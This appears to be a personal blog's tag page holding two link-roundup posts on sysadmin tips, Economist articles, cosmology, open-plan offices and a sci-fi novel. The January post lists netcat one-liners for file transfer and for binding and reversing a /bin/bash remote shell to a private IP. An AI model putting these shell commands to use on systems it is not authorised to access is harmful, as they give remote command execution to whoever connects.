Tag Archives: netcat

Links: Oct 24th

Computer Science is no more about computers than astronomy is about telescopes
— Edsger Dijkstra

Let me start this post with two very powerful articles in The Economist:

  • Philosopher kings. Business leaders would benefit from studying great writers.
    This resonates a lot with me, and is easily transposed onto politics. I can’t get rid of despair how shallow and primitive our politicians are en mass; all the more lame sound our journalists referring to them as ‘elite’.
  • Wealth without workers, workers without wealth. The digital revolution is bringing sweeping change to labour markets in both rich and poor worlds.
    The overview of a silent revolution that is happening around us. Engaging parallels with two previous Industrial revolutions, opportunities, trends, and the role of IT knowledge in the future.

Technology

  • Bedford’s law (here in Russian), something I was unknowingly bumping into before when trying to fairly evenly split the list of hostname. First thought of splitting by first character was obviously naive as hostnames tend to follow some patterns. Then I decided to calculate some hash function on the hostname and pick the first figure. I thought that would be fairly evenly distributed, but to my surprise it wasn’t. Now I have an explanation — Benford’s law.
  • On rpm-based system you can use following commands to restore file’s permissions and ownerships:
  • To reserve a CPU core for some particular process and make the scheduler avoid placing other processes on that CPU you need to use cpusets. There is a generic tutorial here on shielding a CPU (Serge, thanks:), but it’s much more fun to use cset tool. Just look how cool it is in the examples on stackoverflow and in this tutorial.
  • Some handy information on editing with ed, an undeservedly underused tool these days
  • A standard way to implement Redis sharding and (!) make Redis utilise multiple cores: twemproxy.
  • Compact 100-line implementation of netcat in perl. Works perfectly in pair with ssh ProxyCommand.
  • HTTP/2 is coming: RFC2616 is dead.
  • In the light of recent security vulnerabilities, even more useful site with instructions on web-server encryption configuration: cipher.st
  • Say ‘Hello’ to hidepid= option in Linux; a way to hide processes from other users.
  • And as a titbit, shell niceties:
    • Progress bars and spinners: here and here, my favourite is this:
    • Best ever pidtree shell implementation (from superuser):

English




Links: Jan 19th

 

Okay, you’d think Murphy laws were jokes. But as situation in Ukraine shows most of them are true, aren’t they?

All of this really saddens me and spoils good faith in further; but it does demonstrate the essence of real world and people’s desires. Turning though from harsh reality to wonders of virtual world, let’s start with few reminder links:

Suppose you want to transfer a file “file.txt” from server A to client B.
Server: $ nc -l 4444 < file.txt
Client: $ nc -n 192.168.1.100 4444 > file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:
Server: $ nc -l 4444 > file.txt
Client: $ nc 192.168.1.100 4444 < file.txt

Remote shell:
Server: $ nc -l 4444 -e /bin/bash -i
Client: $ nc 192.168.1.100 4444

Reverse remote shell:
Server: $ nc -l 4444
Client: $ nc 192.168.1.100 4444 -e /bin/bash

Technology:

English:

Other:

  • Physicist Lawrence Krauss gives a talk on our current picture of the universe, how it will end, and how it could have come from nothing. Very thrilling talk on cosmology:



  • Open offices are an unfortunate misunderstanding. New Yorker:

The open office was originally conceived by a team from Hamburg, Germany, in the nineteen-fifties, to facilitate communication and idea flow. But a growing body of evidence suggests that the open office undermines the very things that it was designed to achieve. In June, 1997, a large oil and gas company in western Canada asked a group of psychologists at the University of Calgary to monitor workers as they transitioned from a traditional office arrangement to an open one. The psychologists assessed the employees’ satisfaction with their surroundings, as well as their stress level, job performance, and interpersonal relationships before the transition, four weeks after the transition, and, finally, six months afterward. The employees suffered according to every measure: the new space was disruptive, stressful, and cumbersome, and, instead of feeling closer, coworkers felt distant, dissatisfied, and resentful. Productivity fell.

When the Avatar was first released I was appalled by claims that it was touted as ‘totally original work from the mind of Cameron’. I was sure that many years ago I read strikingly similar story by some of well-known sci-fi writers, but was struggling to remember the name of either the novel or the author. There was the same paraplegic hero who telepathically connected with an artificially created life form in order to explore a harsh planet and get access to its resources. Doesn’t it sound similar to the Avatar’s plot?

Recently I accidentally stumbled upon this novel — that was Poul Anderson’s Call Me Joe, written in (!) 1957. This is a classic sci-fi masterpiece and I would recommend reading it any time.